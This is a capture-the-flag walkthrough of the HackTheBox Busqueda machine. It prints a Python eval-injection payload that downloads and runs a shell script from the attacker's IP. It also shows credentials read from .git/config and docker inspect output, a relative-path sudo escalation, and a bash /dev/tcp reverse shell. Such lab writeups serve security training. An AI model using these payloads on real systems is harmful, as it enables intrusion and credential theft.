HackTheBox - Busqueda
Writeup for HackTheBox Busqueda Machine
Starting off with the nmap
scan, we see that it has HTTP and SSH, as expected.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
8080/tcp open http-proxy?
Now, moving on with the searcher.htb
, it seems to provide a search service where you can use different search engines
From further enumeration, we identified that the application is built on top of https://github.com/ArjunSharda/Searchor which we got from the footer of the page. The version number mentioned on the page was 2.4.0 and the latest was 2.5.2. To check for the specific version, from the commit changes I noticed there was an eval
function which was called with the given values for the query
and engine
Above code is something of interest, what we can do here is exploit that eval
to use python functions like compile
(this is used to evaluate the python code as expressions and execute the code) , this can be done by doing something like ' <python code>
query=test'+eval(compile('for x in range(1):\n import os\n os.system("curl 10.10.14.22/shell.sh -o /tmp/shell.sh")','a','single'))+'
Now, this will execute the payload such that it will call eval
again which will evaluate the code compile
executing the code, here we downloading a bash script which will later gets executed with os.system
POST /search HTTP/1.1
Host: searcher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
Origin: http://searcher.htb
Connection: close
Referer: http://searcher.htb/
Upgrade-Insecure-Requests: 1
engine=Accuweather&query=test'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system("curl+10.10.14.22/shell.sh+-o+/tmp/shell.sh")','a','single'))%2b'
Now, following will just execute the previously downloaded bash script:
POST /search HTTP/1.1
Host: searcher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Origin: http://searcher.htb
Connection: close
Referer: http://searcher.htb/
Upgrade-Insecure-Requests: 1
engine=Accuweather&query=test'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system("bash+/tmp/shell.sh")','a','single'))%2b'
Doing so, we got the reverse shell as svc
user:
In the same directory, there was a .git
folder which had the config
file which had the password for the cody
user:
bash-5.1$ cat .git/config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
The svc
user had user.txt
which we can get:
bash-5.1$ cd ~/
cd ~/
bash-5.1$ pwd
pwd
/home/svc
bash-5.1$ ls -la
ls -la
total 44
drwxr-x--- 6 svc svc 4096 Apr 22 16:42 .
drwxr-xr-x 3 root root 4096 Dec 22 18:56 ..
lrwxrwxrwx 1 root root 9 Feb 20 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 svc svc 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 svc svc 3771 Jan 6 2022 .bashrc
drwx------ 2 svc svc 4096 Feb 28 11:37 .cache
-rw-rw-r-- 1 svc svc 76 Apr 3 08:58 .gitconfig
drwx------ 3 svc svc 4096 Apr 22 16:42 .gnupg
drwxrwxr-x 5 svc svc 4096 Jun 15 2022 .local
lrwxrwxrwx 1 root root 9 Apr 3 08:58 .mysql_history -> /dev/null
-rw-r--r-- 1 svc svc 807 Jan 6 2022 .profile
lrwxrwxrwx 1 root root 9 Feb 20 14:08 .searchor-history.json -> /dev/null
drwx------ 3 svc svc 4096 Apr 22 16:41 snap
-rw-r----- 1 root svc 33 Apr 22 12:28 user.txt
bash-5.1$ cat user.txt
cat user.txt
ef72983276d36e5283938e4b72f9898d
Now, using the cody
user’s password for performing sudo -l
on the machine, we see that
bash-5.1$ sudo -l
sudo -l
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
It seems we can see the [system-checkup.py](http://system-checkup.py)
as root
user, although we did not have any permissions to read the file./
- If you request a field which is itself a structure containing other fields, by default you get a Go-style dump of the inner values. Docker adds a template function,
json
, which can be applied to get results in JSON format.
Normally, it provided 3 functionalities, 2 for docker related commands and one for system check
bash-5.1$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e
<er-inspect --format='{{json .Config}}' 960873171e2e
--format={"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}
bash-5.1$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' f84a6b33fb5a
<er-inspect --format='{{json .Config}}' f84a6b33fb5a
--format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}
Although from the docker-ps
and docker-inspect
, we got the information about the running containers, in which there was plaintext password for the database users, trying the same passwords on the gitea.searcher.htb
for administrator
user
administrator:yuiu1hoiu4i5ho1uh
Now, we can successfully login to the application as administrator
user and a see a repository called scripts
Upon checking the repository, it contained the [system-checkup.py](http://system-checkup.py)
python file which we can analyse to see anything interesting of any sort, what we can see here is, it is using the subprocess
to run commands, there was an interesting part in the code which was executing the [full-checkup.sh](http://full-checkup.sh)
from the current directory instead of using absolute path for the script, this can be used in our advantage to create a full-checkup.sh
in our directory and then run the system-checkup.py
as root
user which will execute the custom created full-checkup.sh
script:
Creating the [full-checkup.sh](http://full-checkup.sh)
with the reverse shell code and giving it the execute permission:
full-checkup.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.22/443 0>&1
Now, just execute the command and we got the reverse shell as root: